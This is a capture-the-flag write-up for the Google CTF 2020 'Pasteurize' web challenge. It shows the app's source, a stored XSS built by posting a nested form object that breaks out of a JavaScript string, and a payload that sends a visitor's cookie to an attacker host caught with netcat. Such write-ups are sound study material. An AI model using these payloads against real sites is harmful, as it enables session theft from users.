Tags: js javascript web xss
Rating:
# Google Capture The Flag 2020 – PASTEURIZE
* **Category:** web
* **Points:** 50
## Challenge
> This doesn't look secure. I wouldn't put even the littlest secret in here. My source tells me that third parties might have implanted it with their little treats already. Can you prove me right?
>
> https://pasteurize.web.ctfcompetition.com/
## Solution
Connecting to the website and analyzing the HTML you can find a link to the [source code](pasteurize.js).
```html
Source
```
So connecting to `https://pasteurize.web.ctfcompetition.com/source` will reveal the following.
```javascript
const express = require('express');
const bodyParser = require('body-parser');
const utils = require('./utils');
const Recaptcha = require('express-recaptcha').RecaptchaV3;
const uuidv4 = require('uuid').v4;
const Datastore = require('@google-cloud/datastore').Datastore;
/* Just reCAPTCHA stuff. */
const CAPTCHA_SITE_KEY = process.env.CAPTCHA_SITE_KEY || 'site-key';
const CAPTCHA_SECRET_KEY = process.env.CAPTCHA_SECRET_KEY || 'secret-key';
console.log("Captcha(%s, %s)", CAPTCHA_SECRET_KEY, CAPTCHA_SITE_KEY);
const recaptcha = new Recaptcha(CAPTCHA_SITE_KEY, CAPTCHA_SECRET_KEY, {
'hl': 'en',
callback: 'captcha_cb'
});
/* Choo Choo! */
const app = express();
app.set('view engine', 'ejs');
app.set('strict routing', true);
app.use(utils.domains_mw);
app.use('/static', express.static('static', {
etag: true,
maxAge: 300 * 1000,
}));
/* They say reCAPTCHA needs those. But does it? */
app.use(bodyParser.urlencoded({
extended: true
}));
/* Just a datastore. I would be surprised if it's fragile. */
class Database {
constructor() {
this._db = new Datastore({
namespace: 'littlethings'
});
}
add_note(note_id, content) {
const note = {
note_id: note_id,
owner: 'guest',
content: content,
public: 1,
created: Date.now()
}
return this._db.save({
key: this._db.key(['Note', note_id]),
data: note,
excludeFromIndexes: ['content']
});
}
async get_note(note_id) {
const key = this._db.key(['Note', note_id]);
let note;
try {
note = await this._db.get(key);
} catch (e) {
console.error(e);
return null;
}
if (!note || note.length < 1) {
return null;
}
note = note[0];
if (note === undefined || note.public !== 1) {
return null;
}
return note;
}
}
const DB = new Database();
/* Who wants a slice? */
const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
.replace(/</g, '\\x3C').replace(/>/g, '\\x3E');
/* o/ */
app.get('/', (req, res) => {
res.render('index');
});
/* \o/ [x] */
app.post('/', async (req, res) => {
const note = req.body.content;
if (!note) {
return res.status(500).send("Nothing to add");
}
if (note.length > 2000) {
res.status(500);
return res.send("The note is too big");
}
const note_id = uuidv4();
try {
const result = await DB.add_note(note_id, note);
if (!result) {
res.status(500);
console.error(result);
return res.send("Something went wrong...");
}
} catch (err) {
res.status(500);
console.error(err);
return res.send("Something went wrong...");
}
await utils.sleep(500);
return res.redirect(`/${note_id}`);
});
/* Make sure to properly escape the note! */
app.get('/:id([a-f0-9\-]{36})', recaptcha.middleware.render, utils.cache_mw, async (req, res) => {
const note_id = req.params.id;
const note = await DB.get_note(note_id);
if (note == null) {
return res.status(404).send("Paste not found or access has been denied.");
}
const unsafe_content = note.content;
const safe_content = escape_string(unsafe_content);
res.render('note_public', {
content: safe_content,
id: note_id,
captcha: res.recaptcha
});
});
/* Share your pastes with TJMike? */
app.post('/report/:id([a-f0-9\-]{36})', recaptcha.middleware.verify, (req, res) => {
const id = req.params.id;
/* No robots please! */
if (req.recaptcha.error) {
console.error(req.recaptcha.error);
return res.redirect(`/${id}?msg=Something+wrong+with+Captcha+:(`);
}
/* Make TJMike visit the paste */
utils.visit(id, req);
res.redirect(`/${id}?msg=TJMike?+will+appreciate+your+paste+shortly.`);
});
/* This is my source I was telling you about! */
app.get('/source', (req, res) => {
res.set("Content-type", "text/plain; charset=utf-8");
res.sendFile(__filename);
});
/* Let it begin! */
const PORT = process.env.PORT || 8080;
app.listen(PORT, () => {
console.log(`App listening on port ${PORT}`);
console.log('Press Ctrl+C to quit.');
});
module.exports = app;
```
The service is similar to [Pastebin](https://pastebin.com/), you can create a message that will be stored with an ID and then you can share it with *TJMike*. Analyzing the page of a created message, e.g. `https://pasteurize.web.ctfcompetition.com/512e9209-ac7f-452f-bce9-34c6f780cc6b`, you can find an interesting comment.
```html
<html>
<head>
<link href="/static/styles/style.css" rel="stylesheet">
<link rel="stylesheet" href="/static/styles/bootstrap.css">
<script src="/static/scripts/dompurify.js"></script>
<script src="/static/scripts/captcha.js"></script>
</head>
<body>
<nav class="navbar navbar-expand-md navbar-light bg-light">
<div class="collapse navbar-collapse mr-auto">
Pasteurize
</div>
</nav>
<div class=container>
<div class="container pt-5 w-75">
<div class=card>
<div class="card-header">
</div>
<div class="card-body">
<div id="note-content"></div>
</div>
</div>
<div id="alert-container" class="card">
<div id="alert" class="card-body"></div>
</div>
</div>
</div>
<script>
const note = "asd qwert 123";
const note_id = "512e9209-ac7f-452f-bce9-34c6f780cc6b";
const note_el = document.getElementById('note-content');
const note_url_el = document.getElementById('note-title');
const clean = DOMPurify.sanitize(note);
note_el.innerHTML = clean;
note_url_el.href = `/${note_id}`;
note_url_el.innerHTML = `${note_id}`;
</script>
<script>
const msg = (new URL(location)).searchParams.get('msg');
const back = document.getElementById('back');
const alert_div = document.getElementById('alert');
const alert_container = document.getElementById('alert-container');
back.onclick = () => history.back();
if (msg) {
alert_div.innerText = msg;
alert_container.style.display = "block";
setTimeout(() => {
alert_container.style.display = "none";
}, 4000);
}
</script>
</body>
</html>
```
So the exploitation process should involve the creation of a Stored XSS that must be shared with *TJMike* in order to exfiltrate session cookies.
An interesting snippet can be here, where the `escape_string` method is called.
```javascript
/* Make sure to properly escape the note! */
app.get('/:id([a-f0-9\-]{36})', recaptcha.middleware.render, utils.cache_mw, async (req, res) => {
const note_id = req.params.id;
const note = await DB.get_note(note_id);
if (note == null) {
return res.status(404).send("Paste not found or access has been denied.");
}
const unsafe_content = note.content;
const safe_content = escape_string(unsafe_content);
res.render('note_public', {
content: safe_content,
id: note_id,
captcha: res.recaptcha
});
});
```
The method definition is the following.
```javascript
/* Who wants a slice? */
const escape_string = unsafe => JSON.stringify(unsafe).slice(1, -1)
.replace(/</g, '\\x3C').replace(/>/g, '\\x3E');
```
The content of the note is reflected here in the source code, then inserted into the HTML.
```html
<script>
const note = "asd qwert 123";
const note_id = "512e9209-ac7f-452f-bce9-34c6f780cc6b";
const note_el = document.getElementById('note-content');
const note_url_el = document.getElementById('note-title');
const clean = DOMPurify.sanitize(note);
note_el.innerHTML = clean;
note_url_el.href = `/${note_id}`;
note_url_el.innerHTML = `${note_id}`;
</script>
```
In the HTML is inserted after the `DOMPurify.sanitize` method, so the XSS must be triggered before.
Using double quotes to try to close the constant, i.e. `"; alert(); "`, will fail.
```html
<script>
const note = "\"; alert(); \"";
const note_id = "0021ca75-bd21-4fab-8b0a-63c565119611";
const note_el = document.getElementById('note-content');
const note_url_el = document.getElementById('note-title');
const clean = DOMPurify.sanitize(note);
note_el.innerHTML = clean;
note_url_el.href = `/${note_id}`;
note_url_el.innerHTML = `${note_id}`;
</script>
```
Trying to escape their escape, i.e. `\";alert();//`, will not work.
```html
<script>
const note = "\\\";alert();//";
const note_id = "2ee33611-6108-4ec0-92dd-cc948e2b7aa6";
const note_el = document.getElementById('note-content');
const note_url_el = document.getElementById('note-title');
const clean = DOMPurify.sanitize(note);
note_el.innerHTML = clean;
note_url_el.href = `/${note_id}`;
note_url_el.innerHTML = `${note_id}`;
</script>
```
The presence of the following snippet means that you can POST "nested object", because `extended` is `true`.
```javascript
/* They say reCAPTCHA needs those. But does it? */
app.use(bodyParser.urlencoded({
extended: true
}));
```
So a request like the following can be crafted.
```
POST / HTTP/1.1
Host: pasteurize.web.ctfcompetition.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 16
Origin: https://pasteurize.web.ctfcompetition.com
Connection: close
Referer: https://pasteurize.web.ctfcompetition.com/
Upgrade-Insecure-Requests: 1
content[foo]=aaa
```
The result produced will be the following.
```html
<script>
const note = ""foo":"aaa"";
const note_id = "58866002-84e1-42c4-b7fe-82e58a527b6a";
const note_el = document.getElementById('note-content');
const note_url_el = document.getElementById('note-title');
const clean = DOMPurify.sanitize(note);
note_el.innerHTML = clean;
note_url_el.href = `/${note_id}`;
note_url_el.innerHTML = `${note_id}`;
</script>
```
So the JavaScript `const` can be altered, closing the string and inserting arbitrary JavaScript.
A working XSS can be obtained with the following payload.
```
POST / HTTP/1.1
Host: pasteurize.web.ctfcompetition.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Origin: https://pasteurize.web.ctfcompetition.com
Connection: close
Referer: https://pasteurize.web.ctfcompetition.com/
Upgrade-Insecure-Requests: 1
content[;alert();//]=pwn
```
The result will be the following.
```html
<script>
const note = "";alert();//":"pwn"";
const note_id = "837822b4-0fc7-4137-ae64-c0881c6164fb";
const note_el = document.getElementById('note-content');
const note_url_el = document.getElementById('note-title');
const clean = DOMPurify.sanitize(note);
note_el.innerHTML = clean;
note_url_el.href = `/${note_id}`;
note_url_el.innerHTML = `${note_id}`;
</script>
```
At this point it is sufficient to have a listening host with `nc -lkv 1337`.
A request like the following can be crafted.
```
POST / HTTP/1.1
Host: pasteurize.web.ctfcompetition.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Origin: https://pasteurize.web.ctfcompetition.com
Connection: close
Referer: https://pasteurize.web.ctfcompetition.com/
Upgrade-Insecure-Requests: 1
content[;document.location='http://x.x.x.x:1337?c='%2Bdocument.cookie;//]=pwn
```
The result will be the following.
```
<script>
const note = "";document.location='http://x.x.x.x:1337?c='+document.cookie;//":"pwn"";
const note_id = "32049c5d-b00d-46a8-bb5f-b600d4f46e39";
const note_el = document.getElementById('note-content');
const note_url_el = document.getElementById('note-title');
const clean = DOMPurify.sanitize(note);
note_el.innerHTML = clean;
note_url_el.href = `/${note_id}`;
note_url_el.innerHTML = `${note_id}`;
</script>
```
To bypass problems with reCAPTCHA, it is sufficient to create another note and to change the HTML source, in order to signal it to TJMike passing the previous, malicious, `note_id`.
```
user@host:~$ nc -lkv 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from 51.55.155.104.bc.googleusercontent.com 38470 received!
GET /?c=secret=CTF{Express_t0_Tr0ubl3s} HTTP/1.1
Pragma: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/85.0.4182.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Host: 52.47.121.145:1337
Via: 1.1 infra-squid (squid/3.5.27)
X-Forwarded-For: 35.233.52.193
Cache-Control: no-cache
Connection: keep-alive
```
The flag is the following.
```
CTF{Express_t0_Tr0ubl3s}
```
